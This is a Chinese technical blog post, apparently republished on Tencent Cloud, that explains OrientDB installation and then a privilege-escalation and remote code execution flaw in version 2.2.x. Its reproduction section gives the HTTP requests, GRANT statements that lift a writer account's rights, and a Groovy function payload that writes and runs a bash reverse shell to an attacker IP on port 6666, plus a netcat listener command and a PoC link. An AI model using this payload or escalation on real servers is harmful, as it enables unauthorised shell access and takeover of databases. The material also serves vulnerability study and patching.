专栏首页晨星先生的自留地oreint db 远程代码执行漏洞

oreint db 远程代码执行漏洞

0x01 关于orient db数据库

OrientDB是一个开源NoSQL数据库管理系统。 NoSQL数据库提供了一种用于存储和检索引用除表式数据之外的数据(例如文档数据图形数据)的NO关系或非关系数据的机制。 NoSQL数据库越来越多地用于大数据和实时Web应用程序。 NoSQL系统有时也被称为“Not Only SQL”,以强调它们可能支持类似SQL的查询语言。

OrientDB也属于NoSQL系列。 OrientDB是第二代分布式数据库,具有灵活性的文档在一个产品与Apache 2许可证的开放源代码。 在OrientDB之前市场上有几个NoSQL数据库,其中一个是MongoDB。

0x01 orient db 数据库的基础知识

步骤1 - 下载OrientDB二进制设置文件

下载地址:http://orientdb.com/download 社区版和企业版都可以在任何实现Java虚拟机(JVM)的操作系统上运行。 OrientDB需要1.7或更高版本的Java。

步骤2 - 解压并安装OrientDB

以下是为不同操作系统提取和安装OrientDB的过程。 在Linux中 将orientdb-community-2.1.9.tar.gz文件解压,可以使用以下命令提取tarred文件。

$ tar –zxvf orientdb-community-2.1.9.tar.gz

使用以下命令将所有OrientDB库文件从orientdbcommunity-2.1.9移动到/opt/orientdb/目录。 这里要用sudo

$ sudo mv orientdb-community-2.1.9 /opt/orientdb

使用以下命令注册orientdb命令和Orient服务器。

$ export ORIENTDB_HoME = /opt/orientdb

$ export PATH = $PATH:$ORIENTDB_HOME/bin

在Windows中 将orientdb-community-2.1.9.zip文件解压,将提取出的文件夹移动到C:\目录。 使用以下给定值创建两个环境变量ORIENTDB_HOME和PATH变量。

ORIENT_HOME = C:orientdb-community-2.1.9

PATH = C:orientdb-community-2.1.9in

步骤3 - 配置OrientDB服务器作为服务

这里就说下linux的~ OrientDB提供了一个名为orientdb.sh的脚本文件,以作为守护程序运行数据库。在OrientDB安装目录的$ORIENTDB_HOME/bin/orientdb.sh的bin目录中可以找到它。 在运行脚本文件之前,编辑orientdb.sh文件以定义两个变量。一个是ORIENTDB_DIR,它定义了安装目录/opt/orientdb的路径,第二个是ORIENTDB_USER,它定义了要运行OrientDB的用户名,如下所示。

ORIENTDB_DIR = "/opt/orientdb"

ORIENTDB_USER = ""

使用以下命令将orientdb.sh文件复制到/etc/init.d/目录中以初始化和运行脚本。

$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb

使用以下命令将console.sh文件从OrientDB安装目录$ ORIENTDB_HOME / bin复制到系统bin目录(即/ usr / bin)以访问Orient DB的控制台。

$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb

使用下面的命令来启动ORIENTDB数据库服务器作为服务。在这里,你必须提供你在orientdb.sh文件提及启动服务器的相应用户的密码。 $ service orientdb start 使用以下命令知道哪个PID的OrientDB服务器守护程序正在运行。 $ service orientdb status 使用以下命令停止OrientDB服务器守护程序。 $ service orientdb stop

0x02 漏洞分析

1、OrientDB使用RBAC模型进行认证方案。默认情况下,OrientDB有3个角色:admin, writer and reader。它们的功能与与用户名称所扮演的角色相同。对于在服务器上创建的每个数据库,默认情况下会分配3个用户。

2、用户的权限分配如下:

admin : 访问数据库上的所有功能,没有任何限制 reader: 只读用户。读者可以查询数据库中的任何记录,但不能修改或删除它,也不能访问内部信息,例如用户和角色本身的信息。 writer: 与reader相同,但它也可以创建,更新和删除记录。

3、漏洞产生原理

管理员通过ORole结构处理用户以及他们角色,OrientDB需要oRole读取权限,以允许用户显示用户权限,并使与oRole权限相关联的其他查询。

从版本2.2.x及以上版本,只要oRole被查询,fetchplan和order by语句,则不需要此权限要求,并将信息返回给非特权用户。

由于Orient db启用了这些功能 where、fetchplan、order by,导致了OrientDB具有一个可以执行常规的功能,并且这个groovy封装器没有沙箱进行保护导致了系统功能被访问,导致我们可以运任何命令。

0x03 漏洞复现过程

1、首先先确定版本号,版本号的确定可由返回头确定
2、接着我们访问 http://Taarget:2480/listDatabases获取数据库名称,他会返回为一个json列表
3、用writer的身份尝试Http基础认证,看其是否对数据库可写。如果可写,那么则漏洞存在。

检测三部分的权限是否能得到提升: 1)database.class.ouser

检测是否可以作为特权账户操作数据库

2)database.function

是否启用功能操作

3)database.function

是否有系统的访问权限

验证方法如下:

payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph

以POST的方式请求如下数据:

GRANT execute ON database.class.ouser TO writer

GRANT execute ON database.function TO writer

GRANT execute ON database.systemclusters TO writer

如果成功执行则可以利用。

下面给出exp:

{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":null}

在目标用bash反弹,本地你可以用nc监听,运行如下命令:netcat -lp 6666

参考链接&PoC:https://github.com/jivoi/pentest/blob/a9cb16a5dccc8220e9028eee6f2fae0bd556a481/tools/orientdb_rce_2-22.py

本文分享自微信公众号 - 晨星先生(MoXuanIT),作者:晨星

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-09-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • ZIP压缩爆破小脚本

    lonelyvaf
  • 我是如何通过手机定位妹子的位置的

    lonelyvaf
  • 黑客技能训练:攻破MrRobot

    lonelyvaf
  • MySQL中字节、编码、长度、值的关系 原

    0.一个汉字占多少字节与编码有关:          UTF-8:一个汉字=3个字节             GBK:一个汉字=2个字节  1.var...

    wuweixiang
  • 快手[编程题]魔法深渊

    前几个月放映的头号玩家简直火得不能再火了,作为一个探索终极AI的研究人员,月神自然去看了此神剧。

    week
  • 十种UI设计常用字体特效,让你的设计高大上!【萧蕊冰】

    今天这篇文章是教你十种UI设计常用字体特效,让你设计出更高逼格的作品。对于我们UI设计师来说,在日常的设计中,给字体增加特效,一直都是一件比较烦人的事。有的老板...

    萧蕊冰
  • android开发仿ios的UIScrollView实例代码

    好了,说正事,对于ios开发我没接触,不是很了解,百度了半天,差不多就是UIScrollView的把。如果不对,请指证。具体什么效果呢,我刚才拿朋友的iphon...

    砸漏
  • 解决Linux克隆后eth0不见的问题

    1.通过VMware WorkStation的clone功能,克隆了一份Linux虚拟机,主机名为:mini2,执行ifconfig -a查看所有网卡信息,发现...

    sparkle123
  • RNN in TensorFlow Tutorial - Part 1 - from R2RT

    「声明:此实践来自于 R2RT大神博客中的 RNN in Tensorflow 的两篇教程之一,版权归 R2RT 所有,不妥删。这里渣翻译主要是为了自己理解学习...

    caoqi95
  • java基础第二篇

    1.应用场景:判断四季(春夏秋冬),判断星期,根据用户的选择,进行对应的操作

    海仔

扫码关注云+社区

领取腾讯云代金券